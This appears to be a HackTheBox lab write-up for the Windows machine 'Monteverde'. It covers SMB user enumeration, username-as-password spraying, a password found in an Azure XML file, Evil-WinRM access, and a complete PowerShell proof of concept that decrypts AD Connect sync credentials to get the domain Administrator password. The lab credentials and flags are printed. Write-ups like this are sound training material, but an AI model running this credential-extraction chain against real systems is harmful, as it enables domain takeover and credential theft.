Metadata
- Platform: HackTheBox
- CTF: Monteverde
- OS: Windows
- Difficulty: Medium
Summary
This box permits us to use our anonymous smb access to enumerate user’s on the AD domain. Since one of these accounts reused their username as their password, we can pivot to this account, with which we get read access to a smb share. On it, a discovered configuration file contains a password of another account, as which we get a foothold on the target. Since this user has admin privileges to Azure, we can dump the Administrator’s password from the according database, in order to compromise the machine.
Solution
Reconnaissance
Nmap reveals that we are dealing with an AD environment.
nmap -sC -sV 10.10.10.172 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 10:25 CEST
Nmap scan report for 10.10.10.172
Host is up (0.047s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-14 08:25:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-14T08:25:52
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and requiredSince we currently don’t have access to any credentials, let’s check if we have anonymous access to any services, such as smb with SMBclient.
smbclient -L //10.10.10.172/ -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availableWhile we can’t list and access any shares with this user account, we do have anonymous access. Using Netexec, we can use this to dump accounts on the domain.
netexec smb 10.10.10.172 --users
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.10.172 445 MONTEVERDE Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.10.172 445 MONTEVERDE AAD_987d7f2f57d2 2020-01-02 22:53:24 0 Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
SMB 10.10.10.172 445 MONTEVERDE mhope 2020-01-02 23:40:05 0
SMB 10.10.10.172 445 MONTEVERDE SABatchJobs 2020-01-03 12:48:46 0
SMB 10.10.10.172 445 MONTEVERDE svc-ata 2020-01-03 12:58:31 0
SMB 10.10.10.172 445 MONTEVERDE svc-bexec 2020-01-03 12:59:55 0
SMB 10.10.10.172 445 MONTEVERDE svc-netapp 2020-01-03 13:01:42 0
SMB 10.10.10.172 445 MONTEVERDE dgalanos 2020-01-03 13:06:10 0
SMB 10.10.10.172 445 MONTEVERDE roleary 2020-01-03 13:08:05 0
SMB 10.10.10.172 445 MONTEVERDE smorgan 2020-01-03 13:09:21 0
SMB 10.10.10.172 445 MONTEVERDE [*] Enumerated 10 local users: MEGABANKThis will help us a lot! Let’s save all of these names to a file. Usually, we would now try to check for any kerberoastable account, which don’t require preauthentication, however this does not yield any results. Likewise, enumerating LDAP doesn’t yield unusual result of information disclosure either.
User Flag
While it is unlikely, we could always check if any accounts also use their username as their password. Since we already saved all account to a file, we can quickly check with Netexec.
netexec smb 10.10.10.172 -u users -p users
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
<cut>
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs We actually get a hit for SABatchJobs:SABatchJobs. While we can’t use this account for a remote session on the target, we can now access smb properly, by providing these credentials to SMBclient.
smbclient -L //10.10.10.172/ -U SABatchJobs
Password for [WORKGROUP\SABatchJobs]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
azure_uploads Disk
C$ Disk Default share
E$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
users$ Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availableAs we can see, there are a few custom network shares, one of which being azure_uploads, which hint at the fact that the target might be utilizing Azure. For now, we are only permitted to access users$.
smbclient //10.10.10.172/users$ -U SABatchJobs
Password for [WORKGROUP\SABatchJobs]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 14:12:48 2020
.. D 0 Fri Jan 3 14:12:48 2020
dgalanos D 0 Fri Jan 3 14:12:30 2020
mhope D 0 Fri Jan 3 14:41:18 2020
roleary D 0 Fri Jan 3 14:10:30 2020
smorgan D 0 Fri Jan 3 14:10:24 2020While three of this share’s folders are empty, mhope contains azure.xml, another reference to Azure. Let’s download and inspect it on our host.
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>Since thePassword field has the value 4n0therD4y@n0th3r$ and we found this file in the mhope folder, we can only assume that we found a new pair of credentials. Using these, we can obtain a foothold on the target with Evil-WinRM, and collect the user flag.
evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'5fc7130fb1d4f1269df2163f8482606d
Root Flag
Before, we have seen several references to Azure, which is quite unusual for CTFS, which is why I suspect this to be related to the privilege escalation vector. By using Net to check for any special privileges, we can see that mhope is a member of Azure Admins.
net user mhope
User name mhope
Full Name Mike Hope
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/2/2020 4:40:05 PM
Password expires Never
Password changeable 1/3/2020 4:40:05 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory \\monteverde\users$\mhope
Last logon 4/14/2025 1:48:20 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Azure Admins *Domain Users
The command completed successfully.Since Azure is used for cloud services, it needs to be able to retrieve a vast amount of data from the domain. However, due to our admin access to this process, we can likely abuse this privilege to get our hands on some credentials. This blog post has an in depth explanation of the technical site of this process, as well as an exploit script, which we can use in order to dump credentials from the related database.
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)When we upload this script via Evil-WinRM and try to execute it, we get the following error:
./poc.ps1
AD Connect Sync Credential Extract POC (@_xpn_)
Error: An error of type WinRM::WinRMWSManFault happened, message is [WSMAN ERROR CODE: 1726]: <f:WSManFault Code='1726' Machine='10.10.10.172' xmlns:f='http://schemas.microsoft.com/wbem/wsman/1/wsmanfault'><f:Message>The WSMan provider host process did not return a proper response. A provider in the host process may have behaved improperly. </f:Message></f:WSManFault>
Error: Exiting with code 1From the error message, it seems like the exploit is not able to connect to the database in the very first line of code. This is not a big issue, as we can consult Microsoft’s documentation for this command, and try to explicitly connect to the service on the localhost.
$client = new-object System.Data.SqlClient.SqlConnection - ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"After changing this line, we can re-upload the script via Evil-WinRM and execute it, resulting in access to the Administrator’s credentials.
./poc.ps1
AD Connect Sync Credential Extract POC (@_xpn_)
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!Great! Now we have abused the admin privilege to Azure in order to compromise Administrator. After connecting to the machine as this account via Evil-WinRM, we can collect the root flag.
evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'7df8978402f0d9d06664c31070230700